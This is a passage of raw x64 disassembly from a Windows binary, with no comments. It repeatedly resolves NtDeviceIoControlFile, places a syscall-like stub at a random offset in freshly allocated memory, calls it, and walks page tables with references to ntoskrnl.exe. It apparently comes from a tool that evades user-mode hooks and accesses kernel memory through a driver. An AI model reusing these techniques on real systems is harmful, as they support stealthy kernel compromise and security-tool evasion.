mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x140070eb4
mov esi, dword [rcx + 4]
test esi, esi
js 0x140070eb4
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x46f64], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x45be0]
call fcn.1400be1b0
lea rcx, [rbp + 0x45be0]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
nop dword [rax]
lea rcx, [rbp + 0x45be0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x9afe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140071010
mov r8d, 0x1000
lea rdx, [rbp + 0x9afe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xdfc]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xdfc], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x68]
lea rax, [rbp + 0x7d8]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x7d8]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0xeb0]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xdfc]
lea r9, [rbp + 0xdfc]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
mov r15d, 0x5a4d
test ebx, ebx
js 0x1400718b8
jmp 0x140070eba
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x1400712f7
mov esi, dword [rcx + 4]
test esi, esi
js 0x1400712f7
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x482f4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x46f70]
call fcn.1400be1b0
lea rcx, [rbp + 0x46f70]
call fcn.1400b7000
mov r14d, eax
movabs rax, 0xc0906c513cedb3
mul r14
mov ecx, r14d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r14, rax
xor edi, edi
lea rcx, [rbp + 0x46f70]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0x93fe0], rax
inc rdi
cmp rdi, 0x200
jl 0x1400711d1
mov r8d, 0x1000
lea rdx, [rbp + 0x93fe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rdi, [r14 + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xe00]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xe00], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x68]
lea rax, [rbp + 0x7d8]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x7d8]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xeb0]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0xe00]
lea r9, [rbp + 0xe00]
mov edx, 0x1000
mov rcx, r15
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test edi, edi
js 0x1400718b2
test bl, 1
je 0x1400718b2
mov rdi, qword [rsp + 0x60]
movabs rax, 0x3fffffffff000
and edi, 0xfff
and rbx, rax
add rdi, rbx
test rdi, rdi
je 0x1400718b2
mov rax, rdi
mov qword [rbp + 0x810], 0
and eax, 0xfff
mov qword [rbp + 0x818], 0
xorps xmm0, xmm0
mov qword [rbp + 0x820], 0
mov r13d, 0x1000
mov qword [rbp + 0x808], rdi
sub r13, rax
lea rcx, [0x1401fded8]
mov eax, dword [0x140322b68]
cmp r13, qword [rbp + 0xc40]
mov dword [rsp + 0x58], eax
cmovae r13, qword [rbp + 0xc40]
xor edx, edx
mov rax, qword [0x140329cf0]
movups xmmword [rbp + 0xec0], xmm0
mov qword [rbp + 0x800], r13
lea r8d, [rdx + 1]
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov ebx, 0x5a4d
test rax, rax
je 0x1400715ee
cmp word [rax], bx
jne 0x1400715ee
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x1400715ee
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x1400715ee
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x1400715e9
nop dword [rax]
nop dword [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140071433
inc rbx
cmp rbx, r14
jb 0x140071410
jmp 0x1400715e9
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x1400715e9
mov esi, dword [rcx + 4]
test esi, esi
js 0x1400715e9
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x49684], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x48300]
call fcn.1400be1b0
lea rcx, [rbp + 0x48300]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x48300]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x9bfe0], rax
inc rbx
cmp rbx, 0x200
jl 0x1400714c3
mov r8d, 0x1000
lea rdx, [rbp + 0x9bfe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xe04]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xe04], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x60]
lea rax, [rbp + 0x800]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x800]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xec0]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xe04]
lea r9, [rbp + 0xe04]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x1400718a8
mov ebx, 0x5a4d
mov rdx, qword [rbp + 0x818]
test rdx, rdx
je 0x1400718a8
lea rcx, [rbp + 0xc30]
mov r8, r13
add rcx, qword [rsp + 0x78]
call fcn.1401d15a0
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x60], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
test rax, rax
je 0x140071875
cmp word [rax], bx
jne 0x140071875
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140071875
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x140071875
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140071875
nop dword [rax]
nop dword [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x1400716c3
inc rbx
cmp rbx, r14
jb 0x1400716a0
jmp 0x140071875
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x140071875
mov esi, dword [rcx + 4]
test esi, esi
js 0x140071875
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x4aa14], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x49690]
call fcn.1400be1b0
lea rcx, [rbp + 0x49690]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x49690]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x9cfe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140071753
mov r8d, 0x1000
lea rdx, [rbp + 0x9cfe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xe08]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xe08], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x60]
lea rax, [rbp + 0x800]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x800]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xec0]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xe08]
lea r9, [rbp + 0xe08]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x1400718a8
mov rbx, qword [rbp + 0xc40]
mov rax, qword [rsp + 0x78]
sub rbx, r13
mov rsi, qword [rsp + 0x50]
add rax, r13
mov rcx, qword [rbp + 0xc38]
mov qword [rbp + 0xc40], rbx
mov qword [rsp + 0x78], rax
test rbx, rbx
jne 0x14006fdb0
cmp qword [rbp + 0xc30], 4
je 0x1400718e4
mov r15d, 0x5a4d
mov r14, qword [rsp + 0x70]
lea r12, str.ntoskrnl.exe
movabs r13, 0xfffffffff000
mov ecx, dword [rbp - 0x80]
inc ecx
mov dword [rbp - 0x80], ecx
cmp ecx, 3
jl 0x140061973
jmp 0x140076d19
mov rax, qword [rsp + 0x50]
add rax, qword [rbp - 0x68]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0xc30], 0
mov qword [rbp + 0xc40], 8
lea rcx, [rax + 8]
xor eax, eax
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x70], rcx
nop dword [rax + rax]
mov r13d, dword [0x140322b68]
add rax, rcx
mov rcx, qword [rbp + 0xc38]
xor edx, edx
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
shr rax, 0x27
and eax, 0x1ff
mov qword [rbp + 0x838], 0
lea r8d, [rdx + 1]
mov qword [rbp + 0x840], 0
mov qword [rbp + 0x848], 0
movups xmmword [rbp + 0xed0], xmm0
lea rax, [rcx + rax*8]
mov qword [rbp + 0x828], 8
mov qword [rbp + 0x830], rax
lea rcx, [0x1401fded8]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x68], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov r14d, 0x5a4d
test rax, rax
je 0x140071bea
cmp word [rax], r14w
jne 0x140071bea
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140071bea
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x140071bea
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140071be4
nop
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140071a23
inc rbx
cmp rbx, r14
jb 0x140071a00
jmp 0x140071be4
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x140071be4
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x140071be4
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x4bda4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x4aa20]
call fcn.1400be1b0
lea rcx, [rbp + 0x4aa20]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor ebx, ebx
nop word [rax + rax]
lea rcx, [rbp + 0x4aa20]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x9cfe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140071ac0
mov r8d, 0x1000
lea rdx, [rbp + 0x9cfe0]
mov rcx, rdi
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rbx, [rsi + rdi]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xe0c]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, rdi
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xe0c], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x68]
lea rax, [rbp + 0x828]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x828]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0xed0]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xe0c]
lea r9, [rbp + 0xe0c]
mov edx, 0x1000
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140076d01
mov r14d, 0x5a4d
mov rbx, qword [rbp + 0x840]
test rbx, rbx
je 0x140076d01
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x68], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x140071e67
cmp word [rax], r14w
jne 0x140071e67
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x140071e67
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x140071e67
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x140071e67
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x140071ca5
inc rdi
cmp rdi, r15
jb 0x140071c81
jmp 0x140071e67
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x140071e67
mov r15d, dword [rcx + 4]
test r15d, r15d
js 0x140071e67
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x4d134], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x4bdb0]
call fcn.1400be1b0
lea rcx, [rbp + 0x4bdb0]
call fcn.1400b7000
mov r14d, eax
movabs rax, 0xc0906c513cedb3
mul r14
mov ecx, r14d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r14, rax
xor edi, edi
nop word [rax + rax]
lea rcx, [rbp + 0x4bdb0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0x9bfe0], rax
inc rdi
cmp rdi, 0x200
jl 0x140071d40
mov r8d, 0x1000
lea rdx, [rbp + 0x9bfe0]
mov rcx, rsi
call fcn.1401d15a0
mov dword [0x140322d74], r15d
lea rdi, [r14 + rsi]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xe10]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, rsi
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xe10], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x68]
lea rax, [rbp + 0x828]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x828]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xed0]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0xe10]
lea r9, [rbp + 0xe10]
mov edx, 0x1000
mov rcx, rsi
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rsi
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test edi, edi
js 0x140076d01
test bl, 1
je 0x140076d01
mov rax, qword [rsp + 0x60]
movabs rcx, 0xffffffffff000
mov r13d, dword [0x140322b68]
and rbx, rcx
shr rax, 0x1e
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp + 0x860], 0
xor edx, edx
mov qword [rbp + 0x868], 0
xorps xmm0, xmm0
mov qword [rbp + 0x870], 0
movups xmmword [rbp + 0xee0], xmm0
lea rax, [rbx + rax*8]
mov qword [rbp + 0x850], 8
mov qword [rbp + 0x858], rax
lea r8d, [rdx + 1]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x68], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov ebx, 0x5a4d
test rax, rax
je 0x140072139
cmp word [rax], bx
jne 0x140072139
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140072139
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x140072139
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140072134
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140071f73
inc rbx
cmp rbx, r14
jb 0x140071f50
jmp 0x140072134
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x140072134
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x140072134
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x4e4c4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x4d140]
call fcn.1400be1b0
lea rcx, [rbp + 0x4d140]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor ebx, ebx
nop word [rax + rax]
lea rcx, [rbp + 0x4d140]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x93fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140072010
mov r8d, 0x1000
lea rdx, [rbp + 0x93fe0]
mov rcx, rdi
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rbx, [rsi + rdi]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xe14]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, rdi
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xe14], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x68]
lea rax, [rbp + 0x850]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x850]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0xee0]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xe14]
lea r9, [rbp + 0xe14]
mov edx, 0x1000
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140076d01
mov ebx, 0x5a4d
mov rdi, qword [rbp + 0x868]
test rdi, rdi
je 0x140076d01
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rdi, qword [rdi]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x68], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x1400723b7
cmp word [rax], bx
jne 0x1400723b7
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x1400723b7
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x1400723b7
mov r12d, dword [rax + 0x1c]
xor ebx, ebx
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x1400723b7
nop
mov ecx, dword [r14 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x1400721f4
inc rbx
cmp rbx, r15
jb 0x1400721d0
jmp 0x1400723b7
movzx eax, word [r13 + rbx*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x1400723b7
mov r15d, dword [rcx + 4]
test r15d, r15d
js 0x1400723b7
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x81a64], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x806e0]
call fcn.1400be1b0
lea rcx, [rbp + 0x806e0]
call fcn.1400b7000
mov r14d, eax
movabs rax, 0xc0906c513cedb3
mul r14
mov ecx, r14d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r14, rax
xor ebx, ebx
nop dword [rax]
lea rcx, [rbp + 0x806e0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x9afe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140072290
mov r8d, 0x1000
lea rdx, [rbp + 0x9afe0]
mov rcx, rsi
call fcn.1401d15a0
mov dword [0x140322d74], r15d
lea rbx, [r14 + rsi]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xe18]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, rsi
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xe18], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x68]
lea rax, [rbp + 0x850]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x850]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xee0]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xe18]
lea r9, [rbp + 0xe18]
mov edx, 0x1000
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rsi
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140076d01
test dil, 1
je 0x140076d01
movzx eax, dil
shr al, 7
test al, 1
je 0x1400723eb
movabs rax, 0xfffffc0000000
and rdi, rax
mov rax, qword [rsp + 0x60]
and eax, 0x3fffffff
add rdi, rax
jmp 0x140072ed5
mov rax, qword [rsp + 0x60]
movabs rcx, 0xffffffffff000
mov r13d, dword [0x140322b68]
and rdi, rcx
shr rax, 0x15
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp + 0x888], 0
xor edx, edx
mov qword [rbp + 0x890], 0
xorps xmm0, xmm0
mov qword [rbp + 0x898], 0
movups xmmword [rbp + 0xef0], xmm0
lea rax, [rdi + rax*8]
mov qword [rbp + 0x878], 8
mov qword [rbp + 0x880], rax
